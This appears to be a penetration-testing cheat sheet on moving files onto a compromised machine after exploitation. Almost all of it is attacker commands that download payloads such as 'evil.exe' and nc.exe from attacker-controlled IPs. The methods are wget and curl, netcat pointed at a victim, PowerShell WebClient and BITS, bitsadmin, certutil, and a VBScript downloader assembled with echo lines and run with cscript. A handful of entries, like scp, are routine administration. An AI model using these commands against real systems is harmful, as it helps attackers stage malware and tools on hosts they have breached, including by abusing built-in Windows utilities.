File transfer Methodology

Setup HTTP Server

python -m SimpleHTTPServer 80

Linux download command

wget http://attackerip/file

curl http://attackerip/file > file

netcat

Set up your victim to listen for the incoming request

nc -nvlp 55555 > file

Send the file

nc $victimip 55555 < file

SCP

Copy a file

scp /path/to/source/file.ext username@192.168.1.101:/path/to/destination/file.ext

Copy dir

scp -r /path/to/source/dir username@192.168.1.101:/path/to/destination

Powershell

powershell -NoLogo -Command "$webClient = new-object System.Net.WebClient; $webClient.DownloadFile('http://192.168.189.131:7777/evil.exe', '%temp%\evil.exe');

powershell.exe -c (new-object System.Net.WebClient).DownloadFile('http://10.10.14.x/nc.exe','c:\temp\nc.exe')

powershell.exe -c (Start-BitsTransfer -Source "http://10.10.14.x/nc.exe -Destination C:\temp\nc.exe")

powershell.exe wget "http://10.10.14.x/nc.exe" -outfile "c:\temp\nc.exe"

Bitsadmin

bitsadmin /transfer evil /download /priority high http://192.168.189.131:9995/evil.exe %temp%\evil.exe

Certutil

certutil.exe -urlcache -split -f http://192.168.189.131:7777/evil.exe evil.exe

VBScript

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

After that run this command

cscript /nologo wget.vbs http://10.10.14.x/nc.exe nc.exe

A few more methods

Refer this: https://isroot.nl/2018/07/09/post-exploitation-file-transfers-on-windows-the-manual-way/